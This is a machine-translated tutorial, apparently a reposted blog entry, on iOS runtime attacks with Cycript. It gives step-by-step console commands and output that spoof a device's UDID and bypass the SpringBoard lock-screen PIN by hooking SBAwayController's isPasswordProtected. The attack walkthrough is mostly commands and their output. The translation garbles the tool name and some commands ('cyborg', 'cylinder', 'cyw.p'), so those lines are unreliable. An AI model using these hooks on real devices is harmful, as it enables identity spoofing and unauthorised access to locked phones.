IOS runtime attack-cyloud

Source: Internet
Author: User

IOS runtime attacks are currently popular in two ways:Dynamic Link Library InjectionTo modify the implementation of the API method by writing a customized dylib file and setting the DYLD_INSERT_LIBRARIES environment variable (seeMac hook-DYLD_INSERT_LIBRARIESExample); another method is to use the message mechanism features of objective-c runtime, especially objc_msgSend, to operate the application, among them, the tool that combines objective-c with javascript syntax, cyborg, is superb. Next, we will introduce an example of how to manipulate the iOS app runtime using cylinder.
 
Example 1: Counterfeit UDID (UIDevice class description)
 
Step 1: select the process to be operated

Danimato-iPod :~ Root # cyw.p 8442 (either process id or process name)
 
Step 2: Obtain the current device's UDID
cy# [[UIDevice currentDevice] uniqueIdentifier]; @"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"
 
Step 3: replace the uniqueIdentifier Implementation Method
cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";} function () {return Instance.box("tanjiti");}
 
Step 4: Check the replaced UDID to obtain the result
cy# [[UIDevice currentDevice] uniqueIdentifier]; @"tanjiti"
 
Example 2: Unlock the screen lock PIN ( SpringBoard/sbwaycontroller. hDescription)
 
Step 1: select the process to be operated
danimato-iPod:~ root# cycript -p SpringBoard
Step 2: Check whether the password lock function is enabled for the device (1 indicates locking, 0 indicates unlocking)
cy# [SBAwayController.sharedAwayController isPasswordProtected] 1
Step 3: replace isPasswordProtected
cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;} function () {return NO;}
Step 4: Check the locked status of the replaced device (1 indicates locked, 0 indicates unlocked)
cy# [SBAwayController.sharedAwayController isPasswordProtected] 0
Step 5: Call the unlockWithSound method to access the home screen.
cy# [SBAwayController.sharedAwayController unlockWithSound:1]
The screen lock is successfully unlocked through the above operations.
 
Next, I will write about the core component MobileSubstrate in runtime attack and the very popular Theos jailbreak development framework.
 
Refer:
Http://iphonedevwiki.net/index.php/Cycript
Http://iphonedevwiki.net/index.php/Cycript_Tricks
 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.